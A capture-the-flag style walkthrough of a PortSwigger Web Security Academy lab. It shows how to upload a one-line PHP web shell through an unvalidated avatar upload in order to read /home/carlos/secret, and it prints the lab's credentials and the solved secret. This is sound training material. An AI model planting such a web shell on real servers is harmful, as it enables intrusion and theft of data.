> For the complete documentation index, see [llms.txt](https://dev-angelist.gitbook.io/writeups-and-walkthroughs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dev-angelist.gitbook.io/writeups-and-walkthroughs/portswigger-web-security-academy/server-side-vulnerabilities/file-upload-vulnerabilities/remote-code-execution-via-web-shell-upload.md).

# Remote code execution via web shell upload

https\://portswigger.net/web-security/learning-paths/server-side-vulnerabilities-apprentice/file-upload-apprentice/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

## Description

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file `/home/carlos/secret`. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: `wiener:peter`

## Solution

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FsyUmHhPywaTBsGXm0355%2Fimage.png?alt=media&amp;token=27ca47b9-f1f4-40a6-ac1b-cc27321e6f51" alt=""><figcaption></figcaption></figure>

After login as Wiener user there's an upload option to upload avatar image:

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FO8qcNWMBufRvr0S3EN4d%2Fimage.png?alt=media&amp;token=fadc4813-59f7-4c4b-b020-53ae4d52aa1c" alt=""><figcaption></figcaption></figure>

with the avatar image at this path/location:

<https://0ab300990381641d80b5b7de005e0030.web-security-academy.net/resources/images/avatarDefault.svg>

We need to obtain Carlos's secret, we can do it upload a php shell (`php_web_shell.php`) that get secret file content

```php
<?php echo file_get_contents('/home/carlos/secret'); ?>
```

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FJtO5vRUGc1HrdPFFVUoh%2Fimage.png?alt=media&amp;token=8e97a001-4fdc-4600-a85e-197641db2653" alt=""><figcaption></figcaption></figure>

there's not a sanitizaiton and we can upload it directly:

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FQzvNmJ69ARR5nMpQW0Il%2Fimage.png?alt=media&amp;token=44a44fd2-9f3f-4648-b0bb-687139baf11d" alt=""><figcaption></figcaption></figure>

We know the file location and we can open it going to: <https://0ab300990381641d80b5b7de005e0030.web-security-academy.net/files/avatars/php_web_shell.php>

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FgsYwP0USaDdhe3jLFio5%2Fimage.png?alt=media&amp;token=94a1c15d-be85-41fb-852d-249948fc3130" alt=""><figcaption></figcaption></figure>

<details>

<summary>Carlos's Secret</summary>

5707rbX0roByRQsol0HGASNWMbFg7KwJ

</details>

Obtaining Carlos's secret and solving the lab.

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FCEtcoLAo87JbtLnQ3lTB%2Fimage.png?alt=media&amp;token=8d47a8d2-1800-40f1-be3c-48feb10cc9c8" alt=""><figcaption></figcaption></figure>